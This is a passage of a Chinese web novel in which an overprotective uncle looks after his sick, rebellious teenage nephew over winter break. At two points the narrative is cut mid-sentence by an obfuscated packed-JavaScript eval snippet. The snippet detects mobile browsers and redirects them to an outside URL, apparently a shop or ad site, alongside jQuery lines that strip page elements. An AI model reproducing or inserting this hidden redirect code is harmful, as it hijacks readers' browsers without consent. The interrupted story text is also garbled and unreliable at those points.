“嗯?那天我应该不去,让严烈替我领。”段予真说:“都放假了,懒得再往学校跑一趟。” 陆岳之愣了下。还有很多话想说,但徐亦霆在旁边站着,他说不出口。 “那开学见。”陆岳之顿了顿,说:“寒假快乐。” 段予真觉得也不至于开学以后才能见。寒假里他会经常去找沈群,陆岳之就住附近,碰面的概率其实挺大。 但这些话让徐亦霆听到可不合适,于是他点点头:“寒假快乐。” 来到suv前面,段予真嫌弃地嚷嚷:“我上不去……老头都怪你。故意开辆底盘这么高的车跟我作对。” 平时是没问题,但他现在病了,肌肉酸痛,连腿都抬不动。 徐亦霆俯身将娇气的外甥抱起来放进座椅,顺便系好安全带。 段予真被他的香水味呛得咳嗽:“回去之后把你这身衣服跟香水一块丢掉,臭死了。” “不是我选的。”徐亦霆迅速甩脱责任:“销售推荐。” “你怎么突然想着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16975697|193459||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要换香水了呢?”段予真抓住重点。 徐亦霆解释:“家里一夜之间少了个人,舅舅想换一换心情。” “我是走了,又不是死了。你身上这股味道像刚去坟头给我上过香。”段予真把脸扭到车窗那边,吹着冷风提神。徐亦霆将车窗缓缓合上,只留一条缝隙给他:“刚打完针,生病还不够难受么。还有,说话要避谶,别总把死挂在嘴边。” “你自己信吗。”段予真有点累了,瞥着窗外华灯初上的夜景。 徐亦霆说:“不信。但你不一样,你体弱,所以必须格外注意。” 他开着车,抽空握了握段予真不够暖和的手,又将裹在段予真身上的大衣掖紧了些。 “舅舅很想你。”徐亦霆口气温情。 段予真扭着头,半边脸都掩在了衣服里,疲倦地闭着眼睛:“才不是。你只是发现你的眼线严烈根本管不住我,又怕我趁着放寒假在外面胡闹,特意飞过来监视。” 心思被说破,徐亦霆笑了笑:“也是真的很想你。” 没有再得到回应。段予真安静地睁开双眼,睫毛微垂,眼底是厌倦的冷色。 最叛逆的年龄遇上了控制欲最强的家长,他能真心实意地欢迎徐亦霆才怪。 晚上段予真洗过澡,坐在书桌前写寒假作业。徐亦霆敲门进入,拿起他手边的物理教辅资料,随手翻看两页:“这么多年了还是这些东西。要不要舅舅帮你写?” “好啊。”段予真由他去了。 徐亦霆当年高中念到一半,没耐心再读下去,给a国最负盛名的理工院校投递了申请,收到offer后背着父母先斩后奏地跑出去留学。家里第一个知道的人还是徐清然,帮他瞒了好一段时间。 事实证明,他选择的是条不会在深夜辗转反侧后悔的路。去了a国后他的学业事业可以说一路畅通,年纪轻轻便闯出了属于自己的天地。也正因如此,傲慢自我的缺点至今没有完全被磨平。 工作后许久没接触这类必须用学生思维考虑的题目,徐亦霆觉得还挺有趣,三下五除二写了几页,扭头看看外甥。段予真正拧着眉头专心作文,沐浴在灯光下的脸青春貌美,光彩照人。 他的脸漂亮得出奇,以至于既不是特别像五官英朗的段崇扬,也不是特别像气质温雅的徐清然,脸上每一寸线条,都恰到好处地融合了两家血脉里最优秀的部分。 徐亦霆沉思着,又想起大姐独自在医院里生产完,一个电话把他叫过去,要他帮忙监护段予真的那天。 他到的时候,段予真已经被送进了保温箱。刚出生的外甥是徐亦霆这辈子见过最古怪的生物,身体粉红,手脚紧紧蜷缩着,皮肤上黄疸还未消退,个头不足他小臂长。肉眼可见的羸弱。 明明是很小很小的一个小小孩,怎么就让他的人生从那天开始,有了翻天覆地的变化。几乎是重新活了一次。 徐亦霆回忆得感动不已,大掌揉了揉段予真的后脑勺:“小咩一下子就长大了……” “不是说帮我写作业吗?”段予真莫名其妙,抬起胳膊把他的手格开,瞥了眼他面前没写完的大片空白,毫不留情地批评:“半天才写这么点,不想帮忙就直说,浪费我的期待。还有,老头你是不是有点不行了,让宋姨给你榨点花生核桃露补补脑?” 段予真的痛击令徐亦霆无力反驳,按了按鼻梁,坐在旁边一声不吭地挨训。此情此景,他不由回想起了许多年前,因为上课走神被老师丢粉笔头的那个午后。 28.28 原本可以很幸福的寒假生活,因为徐亦霆的到来变得不幸。 早晨七点钟被拎起来,无精打采地洗漱吃早饭,换好衣服再跟着舅舅外出去拜访长辈——这样的生活段予真已经连续过了一周。 徐亦霆的说法是“访友”,但他的朋友们在段予真眼里全是老头,一帮各种各样的老头。 喜好书法国画的国风型老头,沉迷于炒股的韭菜型老头,热爱钓鱼露营的不服老型老头。 跟又一个老头告别,坐进车里后,段予真脸上被盛赞的乖巧笑容立刻消失,痛苦地捂着额头:“舅舅你饶了我吧。本来就没睡饱,还要听你们老头聚会,说一些全世界最无聊的话题。” 徐亦霆无奈:“在家这么叫我也就罢了,你这些叔叔伯伯哪个不是社会精英,在你嘴里就全都成了老头子?” “什么精英……等我三十岁要是活成那样,你记得找个道士上门给我驱邪。”段予真嚷嚷:“我长得这么好看,脑袋还聪明,为人幽默大方,温柔善良,已经很完美了好不好。如果未来竟然退化成他们那种无聊透顶的老头样,岂不是白活了。” 他的少年意气惹得徐亦霆止不住地发笑,摇摇头,又觉得不愧是自己养出来的princess,就是要有这股傲气才好。 回家路上段予真开始数红包。老头们说话很无聊,但发钱也绝不手软,红包都给得厚实,里面是大叠崭新的粉钞。 段予真从兴致盎然数到逐渐疲倦,最后累得手都有点酸,烦躁地把腿上的一堆红包丢到后排座位,将这个任务交给徐亦霆:“有空替我数数。不许私吞。” “懒。”徐亦霆给出一个字的评价。段予真假装没听到,手背捂着眼睛,窝在座椅里闭目养神。 车停在一家茶楼外面,门童走上前来迎接,看到车内两个人的脸忙不迭点头哈腰:“徐先生,小段少。” 这里也是徐亦霆国内旧友做起来的生意,只接待老板的朋友以及少部分熟客,私密性极好。 “你不会又约了人吧。”段予真怀疑道。 徐亦霆手掌握住他后颈轻轻揉捏:“没有,只是吃饭。” 坐在三楼临着园景的小包厢里,段予真无聊地撑着脸等待上菜。 徐亦霆给他倒茶,顺便提议:“离过年还有些天,你爸妈又都没回来。跟舅舅去滑雪好吗?” “不好。”段予真拒绝得干脆。碍于徐亦霆在身边呆着,他都好几天没跟沈群见面了,哪里还有心思出去玩。 “滑雪都没兴趣,难道小咩有心事。”徐亦霆笑了下,眼里却没有笑意。 段予真心里想着什么,他知道得清清楚楚。 还被他养着的时候,段予真就频繁收到同龄人的约会邀请。出众的长相,优异的成绩,活泼爱玩的性格,自然是走到哪里都能收获无数拥趸。 徐亦霆一直明里暗里地昭示着存在感,让段予真身边蠢蠢欲动的追求者们都看清楚,这个漂亮的东方男孩有个严厉且不好惹的uncle。 尽管如此,也还是没能完全拦住,让段予真在校园里留下了几段半真半假的绯闻。 如今分隔两地已经有小半年,徐亦霆都不用动脑子想,就知道外甥身边必然已是群狼环伺。 让人烦心得很。 段予真玩着盛砂糖的小勺子:“我能有什么心事,回来之后无忧无虑过得可快活了。有心事的人应该是你吧老头。” “是吗。”徐亦霆若有所思。 “这几天看到你的老同学老朋友们都已经结婚生子了,你就没点想法吗。”段予真眉飞色舞地撺掇:“买那么大的房子,只有你自己孤零零住着,有什么意思?” 他迫切希望徐亦霆把过剩的注意力都放到该放的地方,而不是一个劲盯着自己。说到底他们只是舅甥,徐亦霆需要的,应该是一个真正的,和他血脉紧密相连的后代。 徐亦霆却淡淡地说:“不是只有我自己。那里也是你的家,等你哪天玩够了,就回去。” “你——”段予真没好气地问:“你就一点没想过要结婚、生小孩,或者尝试着谈谈恋爱?” “舅舅的生活已经足够充实。”徐亦霆喝了口咖啡。 一半是工作,一半是工作之余照顾段予真,这两件事占据了他百分之百的时间。随着年龄变化,占比会有所调整,但绝不可能再添加新的内容。他决意如此。 段予真头晕目眩地靠在窗棂上,闭眼装死了一会儿,又偷偷睁开眼睛。徐亦霆始终看着他,四目相对时笑了一下,眼神一如既往掺杂着无奈与溺爱。 “别看了。”段予真伸手把他的脸推到另一侧,不允许再盯着自己。 是难免会有些心软,但只要想到徐亦霆严厉时的样子,他就立刻又清醒了。 回到a国,然后继续当被舅舅时刻管控着的乖孩子吗?他才不要。 下午段予真练了会儿琴,又和坐在旁边监督的徐亦霆大眼瞪小眼了半个钟头,忍不住发飙:“你就没点正事要干吗?” 徐亦霆说:“有是有,只怕小咩不肯陪我去。” “要我陪着的能是什么正事。”段予真无聊地敲着琴键,瞟一眼窗外,是冬日里难得的暖阳天。 沈群的腿在这种天气也会好受些吧?不知道送他的膏药,有没有认真贴着。 “回来后,云山还有几个亲戚没看望过,已经催了我两回。舅舅在犹豫是趁眼下的空闲去,还是等年后再去。去了自然要给孩子们散红包,如果带上小咩,发出去的就还能收回来。”徐亦霆慢悠悠地说:“不过,小咩应该也不在意那点钱……” “去啊,当然要去。”段予真从琴凳那端蹭过来,扑到他面前羞涩一笑,眼睛里亮晶晶,闪烁着对金钱的炽热爱意:“不如我们现在就走?我去换身衣服。” 他行动力很强,不过二十分钟就从衣帽间出来,从里到外将全身打扮换了个遍,甚至发型也稍做梳理,耳朵上还多出几点装饰,是对低调但质感极佳的金属耳骨夹。 穿着睡衣的懒散小绵羊,摇身一变成了风度翩翩的潇洒少爷。 徐亦霆仍坐在琴凳上,凝望着外甥,像是走神了,又像是在专注地思考着。段予真等不到他思考完,拍了拍手:“老头,还走不走了?” “走。”徐亦霆来到段予真身侧,很顺手地将他衬衫领口的扣子往上扣了一颗,扭头往外走,去拿手机和车钥匙。 他前脚扣上,段予真后脚就又偷偷解开,露出一片秀美的锁骨线条,还腹诽着这老头怎么越活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979641|193459||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越封建了。 “扣好。”徐亦霆头也不回地说。 段予真撅着嘴把纽扣重新扣上,扑到徐亦霆身边抱住他的手臂:“你到底是舅舅还是我的管家,这种小事也要管。” “带你去走亲戚,又不是要去选模特,还特意打扮做什么。”徐亦霆垂眼瞥着他:“到哪里都要出风头,你是小咩还是小孔雀?” “我当然是你最心爱的好外甥呀。”段予真右手抱着徐亦霆的胳膊,左手往下摸索,找到手掌,牵住之后轻轻晃了晃:“舅舅。” 他每回跟徐亦霆撒娇,腔调都带有五六分刻意夸大的甜腻,不过,徐亦霆从没有被旁人撒娇的经验,消化能力竟然十分强大,恰好很吃他这虚情假意的一套。 徐亦霆沉声道:“到了外面不准再摆出这副样子。” 段予真脸颊来回蹭着他的胳膊:“知道啦知道啦。” “又犯懒。”徐亦霆顿了下,看看楼梯口:“要不要抱?” 他在a国选择的几套住宅全部装有电梯,能铺软毯的地方也都铺上了,懒人沙发更是在客厅、阳台,甚至走廊过道里到处乱丢。因为段予真总是一副懒态,气血不足似的,在家走着走着就会忽然席地而坐,或者直接原地躺下休息。 “不合适吧,我都这么大了。”段予真说着。但徐亦霆的手伸过来的时候,他又主动搭住了舅舅的肩膀,两条长腿也勾在对方腰后,脚尖上翘,努力地抵住晃晃悠悠的拖鞋。 “这样真的很不好,舅舅你以后不要再助长我的不良习惯了。”段予真被徐亦霆抱着往楼下走,一边享受着少走了两步路的轻松,一边振振有词地说: “再这样下去,以后我谈恋爱的眼光就会变得很挑剔,既要会挣钱,又要懂我的心思,还要纵容我的坏习惯。最重要的是一定一定要非常英俊,至少要达到舅舅的水平才可以。唉,我要孤独终老了呀。” 他当然知道徐亦霆对他的严苛培养,目的就是要他眼界广眼光高,是想让他产生往上走的渴望,而不是往下去将就包容,是怕他在识人尤其择偶这件事上吃亏。 但段予真心里对舅舅的观念并不太认同。他还是觉得,所谓的门当户对,并没有长辈们反复强调的那么重要。 他喜欢的人,才不在乎对方是高门大户还是家徒四壁。 对他来说最重要只有情投意合。 心里叛逆地这么想着,段予真嘴上仍不停卖乖:“舅舅,都怪你。看看你把我养成什么样子了,眼光比大气层还高。没准以后我只能和外星人谈恋爱,哪天我要是去m78星云定居,谁来给你养老?” 徐亦霆说:“吵闹。” “那你也不拦着我让我别说了,其实你就是想听。”段予真对他的性格太了解。声音没有波动,就是心情在平和跟不错之间徘徊,离发脾气还有很远的距离。 而且徐亦霆在他面前也从来没有烦躁过,一丁点都没有。他小时候更是个话唠,练琴练崩溃了就边弹边哭,抽噎着,嘴里还不停地说话,不需要别人回应也能说上一两个小时。徐亦霆不会厌烦也从不命令他保持安静,就放任他说个没完。 段予真继续卖乖:“舅舅舅舅,你真的好爱我呀。” 徐亦霆无可奈何地闭了闭眼。